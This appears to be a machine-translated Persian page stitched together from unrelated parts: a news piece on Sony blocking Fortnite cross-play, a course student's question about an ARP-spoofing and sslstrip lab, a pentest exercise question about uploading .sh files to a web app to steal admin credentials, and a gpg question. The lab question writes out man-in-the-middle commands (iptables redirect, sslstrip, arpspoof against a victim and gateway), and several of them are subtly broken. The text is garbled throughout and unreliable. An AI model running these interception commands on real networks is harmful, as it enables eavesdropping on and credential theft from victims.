
در هفته جاری E3، نینتندو اعلام کرد که Fortnite به Switch خواهد آمد و میتواند با صاحبان کامپیوتر و Xbox One صلیب بازی کند. همانطور که همیشه سونی هیچ بخشی از آن را نمی خواهد.
روشن است، Fortnite در PlayStation 4 موجود است. اگر شما این بازی را دانلود می کنید می توانید با دیگر صاحبان PS4 بازی کنید. با این وجود، در همین حال، اگر شما Fortnite را روی Xbox One، PC یا Switch، در هر از این سیستم ها بازی کنید. این یک ویژگی مفید برای داشتن زمانی است که شما یک بازی را با حداکثر 100 نفر به طور همزمان انجام می دهید.
سونی یک بازی متقابل را نشنیده است نباید خیلی تعجب برانگیز باشد. این شرکت زمانی که با اجازه دادن به بازیکنان فورتنیت با صاحبان ایکس باکس بازی کرد، مقاومت کرد. همچنین مسابقات پیش از آن با مسابقات مسابقات موشکی و Minecraft مسدود شده است. دلیل سونی تقریبا به نظر می رسد منطقی است، مگر اینکه آن را نداشته باشد. به گزارش یورگامر، یک نماینده سونی در این باره گفت:
ما باید از مسئولیت ما در قبال پایه نصب خود مراقبت کنیم. کمیته مبارزه با سانسور – بازی جمعیت شناختی است که شما می دانید و همچنین من انجام می دهم، تمام سنین، اما خیلی جوان است. ما قراردادی با افرادی داریم که با ما در ارتباط هستند، ما آنها را دنبال می کنیم و آنها درون جهان سرپرستی PlayStation هستند. باز کردن آنچه که در بسیاری از موارد کودکان به نفوذ های خارجی است و ما توانایی مدیریت یا مراقبت از آن نداریم، این چیزی است که ما باید با دقت به آن فکر کنیم.
خوب، مطمئنا، شما بر پایه بازیکن دیگر شخص کنترل ندارید شما نمیتوانید به طور موثر به بازیکنان بالقوه آزاردهنده یا سوء استفاده در پلتفرم دیگری مدیریت کنید. این منطقی است به غیر از … Nintendo پلت فرم خانواده بسیار بیشتر از مایکروسافت و سونی است، و آنها به نظر می رسد برای مدیریت؟ مشخص نیست که چه چیزی نینتندو چالش برانگیزانی را که سونی احساس می کند غیر ممکن است غلبه کند.
صرف نظر از این، انتخاب سونی در مورد این است که آیا آن را پشتیبانی متقابل بازی با سیستم عامل های دیگر. شاید آنها این کار را انجام می دهند تا چشم ها و گوش های کودکان را در برابر سیستم عامل های دیگر نادیده بگیرد. شاید این به این دلیل است که سونی می داند که صاحبان PS4 بیشتر از Xbox One و Switch دارندگان (در حال حاضر) ترکیب شده اند و نیازی به رقابت ندارند. در هر صورت، PS4 ممکن است یک کنسول بزرگ برای مالکیت باشد، اما انتظار نداشته باشید که بتوانید با دوستان غیر PS4 خود بازی کنید.
منبع: [19659008[2060]
من در حال حاضر در یک دوره CPEH ثبت نام کردم، آزمایشگاه 3 من، سمی آرپس بود. دستور من استفاده شده است
echo -1> / proc / sys / met / ipv4 / ip_forward
iptables -t nat -A PREROUTING -p tcp --detination-port 80 -j REDIRECT -to- port 1000
برای پروتکل 443 هم همین کار را کرد
sslstrip -p -l 1000
arpspoof -i eth0 -t قربانی ip gateway
tail -f sslstrip.log
آنچه من اشتباه انجام می دهم هنگامی که من انجام می دهم، قربانی می تواند دیگر به شبکه خاتمه دهد
به عنوان بخشی از آزمون قلم (تمرین)، ما باید مدرک مدیر را برای دریافت یک سند به نام مخفی پیدا کنیم.
- سعی کردم تزریق sql را در صفحه ورود و ثبت نام سعی کردم اما موفق نشدم.
- Application
- پذیرش تمام انواع پسوند فایل ها، .php، .sh همه چیز است.
- من سعی کردم که فایل .sh را آپلود کنم اما نمی دانستم که چگونه ادامه داده شود چون هیچ پارامتری وجود ندارد در آدرس URL منتقل شده و هیچ فرمانی کار نکرده است.
- هر گونه کمک در مورد دسترسی به پایگاه داده واقعا مفید خواهد بود.
- این یک برنامه مبتنی بر پایتون است.
ناگهان رفتار gpg تغییر کرده و دنیای من فرو میرود.
من کلید های متعددی دارم، اما نه برای اهداف تست. یکی کلید شخصی من است. تا به حال من توانستم با این کلید رمزگذاری کنم و به نظر میرسد که به یاد داشته باشم که باید رمز عبور خود را برای رمزگذاری تایپ کنم. در حال حاضر ناگهان من نمی اما آنچه ترسناک است، می توانم روی فایل رمزگذاری شده دوبار کلیک کنم و بدون نیاز به کلمه عبور من رمز گشایی می کنم.
من این را خوندم و پیشنهادات متعددی را یافتم، هیچ کدام کار نمی کنند. چگونه می توانم gpg را برای درخواست گذرواژه خود بپرسم قبل از اینکه یک فایل را رمزگشایی کند؟ و چگونه می توانم مطمئن باشم که آن را با کلید راست رمزگذاری می کند. من از r استفاده میکنم اما به نظر میرسد کلید انجام رمزگذاری کلید من نیست حتی اگر نام کلید شخصی من باشد. من می توانم قبول کنم که کلید گیرنده ها در رمزگذاری مهم است، اما من می خواهم هویت شخصی من درگیر شود و نه اولین کلید در کلاهبرداری.